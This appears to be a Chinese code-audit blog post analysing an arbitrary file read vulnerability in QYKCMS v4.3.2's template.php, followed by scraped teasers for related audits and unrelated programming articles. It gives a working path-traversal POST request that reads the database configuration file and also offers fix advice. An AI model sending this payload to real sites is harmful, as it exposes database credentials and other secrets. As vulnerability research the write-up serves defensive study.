【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析
0x00 环境准备
QYKCMS官网:http://www.qykcms.com/
网站源码版本:QYKCMS_v4.3.2(企业站主题)
程序源码下载:http://bbs.qingyunke.com/thread-13.htm
测试网站首页:

0x01 代码分析
1、漏洞文件位置:/admin_system/include/show/template.php 第1-22行:
- <?php
- $path=strtolower(arg('path','post','url'));
- if(strstr($path,setup_webfolder.$website['webid'].'/')){
- $file=explode(setup_webfolder.$website['webid'].'/',$path);
- $file=$file[1];
- }else{
- $file=$path;
- if(!$website['isadmin'])die('{error:文件不存在}');
- }
10. $content='';
11. $path2=iconv("utf-8","gb2312",$path);
12. if(is_dir($path2)){
- 13. die('{error:暂未支持直接创建文件,请通过上传方式创建}');
14. }else{
- 15. @$ftype=end(explode('.',$path));
- 16. @$content=file_get_contents($path2) or ajaxreturn(1,'文件无法读取,请检查读写权限');
- 17. $content=str_replace('</script>','{script_tag_end}',$content);
- 18. $content=str_replace('{filecode}','{filecode_tag}',$content);
- 19. $content=trim($content,'\r\n');
- 20. $content=trim($content,'\r');
- 21. $content=trim($content,'\n');
- 22. }
这段代码中接收path参数,然后进行转码处理,注意看红色代码部分,接着判断是否是一个目录,然后带入file_get_contents函数中执行,可以看到path参数并未进行任何过滤或处理,导致程序在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。
0x02 漏洞利用
1、QYKCMS默认数据库配置文件存放在\include\config_db.php中,我们构造一个路径去读取数据库敏感信息,成功执行。
http://127.0.0.1/admin_system/api.php
POST: admin=admin&key=682b82f8dc3b753d6eb9ceafd5a64301&log=show&desc=template&path=../include/config_db.php

2、执行成功后,页面空白一片,我们通过右键查看页面源代码,发现config_db.php文件代码已经显示出来了。

0x03 修复建议
1、指定文件读取目录,过滤.(点)等可能的恶意字符,防止目录跳转,最为推荐的方法;
2、正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析的更多相关文章
- 【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】XYHCMS V3.5任意文件读取漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 安全研究 | Jenkins 任意文件读取漏洞分析
欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...
- 【代码审计】QYKCMS_v4.3.2 任意文件删除漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析
0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...
- 【代码审计】XIAOCMS_存在任意文件删除漏洞分析
0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...
- FFmpeg任意文件读取漏洞分析
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...
- PHPMailer命令执行及任意文件读取漏洞
今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个 ...
随机推荐
- MFC中UpdateData()函数的使用
UpdateData(true); 用窗体上控件中的内容来更新和控件相关连的变量的值(只能更新value类型的变量) 例如:你在你的窗体中有一个Edit控件,为这个控件关联了CString类型的变量m ...
- CentOS的Gearman安装
背景:用PHP做一些简单的上传是没有任何的问题,但是要做断点上传好像也是没有大问题,但要是并发的切片加断点上传可能就会有问题了哟.第一个问题是合并问题:如果一上传就合并,PHP老半天不返回是一个方面( ...
- 17个CSS知识点整理
1.对WEB标准以及W3C的理解与认识 标签闭合.标签小写.不乱嵌套.提高搜索机器人搜索几率:使用外链css和js脚本.结构行为表现的分离.文件下载与页面速度更快:内容能被更多的用户所访问.内容能被更 ...
- FPGA静态时序分析——IO口时序(Input Delay /output Delay)(转载)
转载地址:http://www.cnblogs.com/linjie-swust/archive/2012/03/01/FPGA.html 1.1 概述 在高速系统中FPGA时序约束不止包括内部时钟 ...
- 使用OAuth Server PHP实现OAuth2服务
在现在的网络服务中,OAuth2.0服务已经很普遍了,无论是facebook或者微博的第三方登录,还是手机APP登录,都有很广泛的应用.它主要的目的如下:如果用户的照片在A网站,他想要在B网站使用A网 ...
- Axiom3D:Ogre地形组件代码解析
大致流程. 这里简单介绍下,Axiom中采用的Ogre的地形组件的一些概念与如何生成地形. 先说下大致流程,然后大家再往下看.(只说如何生成地形与LOD,除高度纹理图外别的纹理暂时不管.) 1.生成T ...
- Spring JDBC SqlUpdate类示例
org.springframework.jdbc.object.SqlUpdate类提供了表示SQL更新的可重用操作对象. 使用到的 Student 表的结构如下 - CREATE TABLE Stu ...
- e797. 显示JSlider的标记
The slider supports two levels of tick marks, major and minor. Typically, the minor tick-mark spacin ...
- e794. 创建JSlider组件
// Create a horizontal slider with min=0, max=100, value=50 JSlider slider = new JSlider(); // Creat ...
- char* 与 char[] 的区别
"Hello world"作为静态字符串实际上存储在数据区,但写程序的人不知道这个地址,而程序本身知道.当某一函数以{ char p[] = "Hello world&q ...